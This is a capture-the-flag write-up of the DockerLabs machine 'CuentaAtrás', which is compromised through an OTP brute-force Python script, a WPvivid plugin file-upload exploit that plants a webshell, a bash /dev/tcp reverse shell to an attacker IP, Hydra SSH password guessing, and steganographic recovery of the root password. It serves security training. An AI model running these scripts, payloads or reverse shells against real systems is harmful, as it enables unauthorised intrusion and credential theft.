> For the complete documentation index, see [llms.txt](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/cuentaatras-dockerlabs-writeup.md).

# CuentaAtrás (DockerLabs) - Writeup

## Overview

**CuentaAtrás** is an intermediate Linux machine from DockerLabs that combines multiple attack paths into a single scenario: service enumeration, OTP bypass through brute force, exploitation of a vulnerable WordPress plugin to gain remote code execution, lateral movement between users, and a final forensic/steganography stage to obtain root access.

What makes this box especially interesting is that it is not limited to a single vulnerability. It requires the attacker to correlate findings across different contexts, pivot between web exploitation and local enumeration, and pay attention to small artifacts that initially seem irrelevant. The machine blends **web application security**, **WordPress exploitation**, **credential discovery**, **file forensics**, and **Linux privilege escalation** in a very engaging way.

## Machine Information

* **Name:** CuentaAtrás
* **Platform:** DockerLabs
* **Difficulty:** Intermediate
* **Operating System:** Linux
* **Technologies involved:**
  * Custom web application
  * WordPress
  * SSH
  * File forensics
  * Steganography

## Objective

The goal of the challenge is to fully compromise the system by completing the following stages:

* Access the protected portal
* Obtain remote code execution
* Escalate privileges across multiple local users
* Recover hidden credentials from files
* Gain final access as `root`
* Retrieve the system flags

## Machine Deployment

After downloading the compressed machine file, it must be extracted and deployed using the script provided by DockerLabs.

### Extract the files

```bash
unzip cuentaatras.zip
```

### Deploy the machine

```bash
bash auto_deploy.sh cuentaatras.tar
```

The script returns the target IP address:

```bash
Machine deployed, its IP address is --> 172.17.0.2
```

## Phase 1 – Initial Reconnaissance and Enumeration

The first step was to perform a full port scan using **Nmap** from the attacker machine (Kali Linux).

### Port scan

**Executed from Kali:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
nmap -sCV -p22,80 172.17.0.2
```

### Results

```tex
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Login
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
```

### Analysis

The initial attack surface was very small:

* **22/tcp** → SSH
* **80/tcp** → HTTP

The HTTP service hosted a login panel, so the web application immediately became the primary attack vector.

## Phase 2 – Registration and OTP Bypass

Once the site was opened in the browser, it displayed a basic login panel with a registration option. After creating a new account, the application redirected the user to a second verification step based on a **4-digit numeric code**, supposedly sent to the supplied phone number.

### Key observation

The application revealed several important details:

* the code was **4 digits long**
* it remained valid for **5 minutes**
* there were no visible protections against automation
* there was no rate limiting or account lockout

This reduced the search space to only **10,000 possible combinations (0000–9999)**, making brute force completely feasible.

### OTP brute force script

To automate the attack, I created a Python script that reused the existing session cookie and looked for anomalies in the server response, such as HTTP redirects or changes in the returned content.

**Executed from Kali:**

```py
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse
import time

def crear_sesion(cookie):
    s = requests.Session()
    s.cookies.set("PHPSESSID", cookie)
    return s

def probar_codigo(url, codigo, cookie):
    sesion = crear_sesion(cookie)

    try:
        r = sesion.post(
            url,
            data={"code": f"{codigo:04d}"},
            timeout=1,
            allow_redirects=False
        )

        if r.status_code in [301,302,303,307,308]:
            return codigo, True, "Redirect detected"

        texto = r.text.lower()

        if "registro" in texto or "register" in texto:
            return codigo, True, "Registration page detected"

    except requests.RequestException:
        pass

    return codigo, False, None

def fuerza_bruta(url, cookie, threads):

    print("🚀 Starting brute force attack")
    print(f"🌐 URL: {url}")
    print(f"🍪 Cookie: PHPSESSID={cookie}")
    print(f"⚡ Threads: {threads}")
    print("="*50)

    inicio = time.time()

    with ThreadPoolExecutor(max_workers=threads) as executor:

        futures = [
            executor.submit(probar_codigo, url, i, cookie)
            for i in range(10000)
        ]

        for i, future in enumerate(as_completed(futures)):

            codigo, ok, detalle = future.result()

            if ok:
                print("\n🎯 CODE FOUND:", f"{codigo:04d}")
                print("Detail:", detalle)
                print("Time:", round(time.time()-inicio,2),"seconds")
                return

            if i % 200 == 0:
                print(f"Progress: {i}/10000")

    print("❌ Code not found")

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description="4-digit OTP bruteforce")

    parser.add_argument("-u","--url", required=True, help="Target URL")
    parser.add_argument("-c","--cookie", required=True, help="PHPSESSID")
    parser.add_argument("-t","--threads", default=30, type=int, help="Number of threads")

    args = parser.parse_args()

    fuerza_bruta(args.url, args.cookie, args.threads)
```

### Execution

**Executed from Kali:**

```bash
python3 bruteNum.py -u http://172.17.0.2/verify.php -c <PHPSESSID> -t 30
```

### Result

The script detected that the code **6272** caused a different response, specifically a valid redirect, which strongly suggested that it was the correct OTP.

After entering that code, it was possible to complete the registration process and authenticate successfully.

## Phase 3 – Access to the Hidden Portal

Once logged in, the application revealed a hidden internal path:

```bash
http://172.17.0.2/secret_portal_65hBlEo9OU/
```

After visiting it, the page was clearly identified as a **WordPress** instance.

## Phase 4 – WordPress Enumeration

Since the hidden portal was a WordPress installation, the next step was to enumerate users, plugins, and possible vulnerable components.

### WPScan enumeration

**Executed from Kali:**

```bash
wpscan --url http://172.17.0.2/secret_portal_65hBlEo9OU/ -e u
wpscan --url http://172.17.0.2/secret_portal_65hBlEo9OU/ -e p --plugins-detection aggressive
```

### Findings

* Identified user:
  * `admin_master`
* Detected plugins:
  * `akismet`
  * `wpvivid-backuprestore` version **0.9.123**

The presence of an outdated `wpvivid-backuprestore` version was highly suspicious and immediately suggested a potential public vulnerability.

## Phase 5 – Exploiting the Vulnerable WPvivid Plugin

Further investigation revealed that **WPvivid Backup & Migration <= 0.9.123** was vulnerable to **CVE-2026-1357**, a critical flaw that allows **unauthenticated arbitrary file upload**, which can be leveraged to achieve **Remote Code Execution**.

The exploitation chain relied on:

* a cryptographic **fail-open** condition
* use of a null AES key
* **path traversal** in the `name` parameter
* arbitrary file write into `wp-content/uploads/`

### Preparing the exploit environment

**Executed from Kali:**

```bash
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
```

Then I prepared the `exploit.php` file to generate the malicious payload.

### Generating the payload

**Executed from Kali:**

```bash
PAYLOAD=$(php exploit.php)
```

### Sending the malicious request

**Executed from Kali:**

```bash
curl -i -s -X POST 'http://172.17.0.2/secret_portal_65hBlEo9OU/' \
  -d 'wpvivid_action=send_to_site' \
  --data-urlencode "wpvivid_content=$PAYLOAD"
```

### Response

```bash
HTTP/1.1 200 OK
{"result":"success","op":"finished"}
```

This confirmed that the payload had been processed by the server.

## Phase 6 – Confirming Remote Code Execution

After uploading the malicious file, I verified command execution by accessing the uploaded webshell.

### Webshell location

```bash
http://172.17.0.2/secret_portal_65hBlEo9OU/wp-content/uploads/pwn_remote.php?cmd=id
```

### Result

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

This confirmed that arbitrary commands could be executed on the server as **www-data**.

## Phase 7 – Obtaining a Reverse Shell

To gain a more stable interactive session, I proceeded to obtain a reverse shell.

### Listener

**Executed from Kali:**

```bash
nc -lvnp 1234
```

### Reverse shell payload

A `bash -c` reverse shell was used, either in plain form or encoded.

Example:

```bash
bash -c 'bash -i >& /dev/tcp/10.10.14.87/4444 0>&1'
```

A URL-encoded or base64-based variation was also used through the `cmd` parameter of the webshell.

### Incoming connection

```
connect to [192.168.174.128] from (UNKNOWN) [172.17.0.2]
bash: cannot set terminal process group
bash: no job control in this shell
```

### Verification

**Executed from the victim shell:**

```
whoami
```

```
www-data
```

## Phase 8 – Local Enumeration

With a shell as `www-data`, I started enumerating the local system.

### Users with valid shells

**Executed from the victim as `www-data`:**

```bash
cat /etc/passwd | grep "/bin/bash"
```

### Result

```
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
webmaster:x:1001:1001::/home/webmaster:/bin/bash
ethan:x:1002:1002:Ethan Hunt,,,:/home/ethan:/bin/bash
bond:x:1003:1003:James Bond,,,:/home/bond:/bin/bash
```

The most interesting accounts were:

* `webmaster`
* `ethan`
* `bond`

## Phase 9 – SSH Brute Force Against bond

After several local enumeration attempts did not produce an obvious privilege escalation path, I tested weak credentials against SSH.

### Hydra attack

**Executed from Kali:**

```bash
hydra -l bond -P rockyou.txt ssh://172.17.0.2 -T 64
```

### Result

```
[22][ssh] host: 172.17.0.2   login: bond   password: 999999999
```

The `bond` account was protected with an extremely weak password.

### SSH login

**Executed from Kali:**

```bash
ssh bond@172.17.0.2
```

Password:

```
999999999
```

### Verification

**Executed inside the SSH session:**

```bash
whoami
```

```
bond
```

### User flag

**Executed as `bond`:**

```bash
cat user.txt
```

```
DL{oDMEsGfekTxXB2KefL0v}
```

## Phase 10 – Discovering ethan’s Credentials

While browsing the web application files as `bond`, I found an interesting file:

```bash
copy2321_.php
```

### File contents

**Executed as `bond`:**

```bash
cat /var/www/html/copy2321_.php
```

```bash
GET /productos/lista?page=3&orden=desc HTTP/1.1
Host: localhost:8080
...
Cookie: session_id=ZXRoYW46cGZMbVdWejJFR0tHcFJDbUFDVFAK; theme=dark
```

The `session_id` value looked like **Base64**.

### Decoding the cookie

**Executed from Kali or locally on the victim:**

```bash
echo "ZXRoYW46cGZMbVdWejJFR0tHcFJDbUFDVFAK" | base64 -d
```

### Result

```
ethan:pfLmWVz2EGKGpRCmACTP
```

This revealed valid plaintext credentials for the user `ethan`.

## Phase 11 – Switching to ethan

Using the recovered password, I switched to the `ethan` account.

**Executed as `bond`:**

```
su ethan
```

Password:

```
pfLmWVz2EGKGpRCmACTP
```

### Verification

```
whoami
```

```
ethan
```

## Phase 12 – Auto-Logout Issue

As soon as I logged in as `ethan`, the shell kept terminating after a few seconds of inactivity:

```
timed out waiting for input: auto-logout
```

This strongly suggested that the shell environment had a `TMOUT` variable or a similar forced timeout mechanism.

### Bypassing the timeout

The easiest way around this was to spawn another shell without loading the default profile or shell configuration.

For example:

```
sh
```

or:

```
bash --noprofile --norc -i
```

This made it possible to continue the enumeration without the automatic session termination interrupting the workflow.

## Phase 13 – Suspicious File Discovery

Inside ethan’s home directory, I found a folder structure containing several directories. The most relevant one was:

```bash
/home/ethan/miscosas/fotos
```

Inside it there was a single file:

```
captura3.jpg
```

## Phase 14 – Transferring the File to the Attacker Machine

To analyze the file more comfortably, I transferred it to Kali.

### Using SCP

**Executed from the victim as `ethan`:**

```bash
scp ./fotos/captura3.jpg kali@192.168.174.128:/home/kali/Documents/cuentaatras/content
```

## Phase 15 – File Forensics and Analysis

At first glance, the file appeared to be a JPEG image, but common tools did not recognize it properly.

### Initial checks

**Executed from Kali:**

```bash
file captura3.jpg
strings captura3.jpg
exiftool captura3.jpg
```

The `file` command only returned:

```bash
captura3.jpg: data
```

That was a strong indicator that the file had been tampered with.

### Hex inspection

**Executed from Kali:**

```bash
xxd captura3.jpg | head
```

The file began with the following bytes:

```
89 50 4E 47
```

which correspond to a **PNG** header.

However, when inspecting the end of the file:

```bash
xxd captura3.jpg | tail
```

the file ended with:

```
FF D9
```

which is the standard end-of-image marker for a **JPEG**.

### Conclusion

The file had clearly been manipulated:

* it started with a fake PNG header
* it ended like a legitimate JPEG
* the structure was deliberately altered to mislead analysis

## Phase 16 – Manual Image Repair

Since a valid JPEG start marker `FF D8` was not present at the beginning, I manually repaired the image.

### Extracting the useful data

**Executed from Kali:**

```bash
cp captura3.jpg captura3.bin
xxd captura3.bin | grep -n "ff db"
```

Then I extracted the meaningful portion by skipping the fake header:

```bash
dd if=captura3.bin of=parte.jpg bs=1 skip=18
dd if=parte.jpg of=parte_limpia.jpg bs=1 skip=2
```

Finally, I rebuilt a valid JPEG by prepending the correct header:

```bash
echo -n -e "\xff\xd8" > imagen_final.jpg
cat parte_limpia.jpg >> imagen_final.jpg
```

### Verification

```bash
file imagen_final.jpg
```

Expected result:

```
JPEG image data, JFIF standard ...
```

At that point the image could be opened normally.

## Phase 17 – Steganography

Once the image had been repaired, the next logical step was to test whether it contained hidden data.

### Extracting hidden content with stegseek

**Executed from Kali:**

```bash
stegseek imagen_final.jpg rockyou.txt
```

### Result

The password was found to be:

```
dinamo
```

and the extracted file contained:

```
hGRjVqry0tcVYpgvVjzm
```

This looked very much like a password.

## Phase 18 – Root Access

Using the secret recovered from the image, I attempted to switch to `root`.

**Executed from the victim as `ethan`:**

```
su root
```

Password:

```
hGRjVqry0tcVYpgvVjzm
```

### Verification

```
whoami
```

```
root
```

Full system compromise achieved.

***

## Final Flag

**Executed as `root`:**

```
cat /root/root.txt
```

### Result

```
DL{U31jcT3PzQGbsni7igEf}
```

## Exploitation Chain Summary

The machine was compromised through the following sequence:

1. Port enumeration with Nmap
2. Registration in the web application
3. Brute forcing the 4-digit OTP mechanism
4. Gaining access to a hidden WordPress portal
5. Enumerating users and plugins with WPScan
6. Identifying the vulnerable `wpvivid-backuprestore` plugin
7. Exploiting **CVE-2026-1357**
8. Achieving RCE as `www-data`
9. Performing local system enumeration
10. Brute forcing SSH credentials for `bond`
11. Recovering Base64-encoded credentials for `ethan`
12. Switching to `ethan`
13. Performing forensic analysis of a manipulated image
14. Recovering hidden data through steganography
15. Using the recovered secret to obtain `root`

## Credentials and Flags

### Credentials

* `bond : 999999999`
* `ethan : pfLmWVz2EGKGpRCmACTP`
* `root : hGRjVqry0tcVYpgvVjzm`

### Flags

* **user.txt**

  ```
  DL{oDMEsGfekTxXB2KefL0v}
  ```
* **root.txt**

  ```
  DL{U31jcT3PzQGbsni7igEf}
  ```

***

## Lessons Learned

**CuentaAtrás** is a very complete and well-designed machine. Its difficulty does not come only from the initial exploitation stage, but from the need to properly interpret each clue. The first half focuses on weak authentication and insecure automation controls; the second stage introduces WordPress plugin exploitation and webshell deployment; and the final phase breaks away from a typical Linux privilege escalation flow by requiring file forensics and steganographic analysis.

Some of the key lessons reinforced by this machine are:

* OTP mechanisms without rate limiting are fundamentally insecure
* exposed and outdated WordPress plugins are high-risk attack vectors
* credentials hidden in application artifacts should never be ignored
* small overlooked files can become the decisive pivot point
* manual forensic analysis is often necessary when automated tools fail

Overall, this is an excellent machine for practicing **web exploitation**, **WordPress security testing**, **credential hunting**, **forensics**, and **Linux privilege escalation**.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/cuentaatras-dockerlabs-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
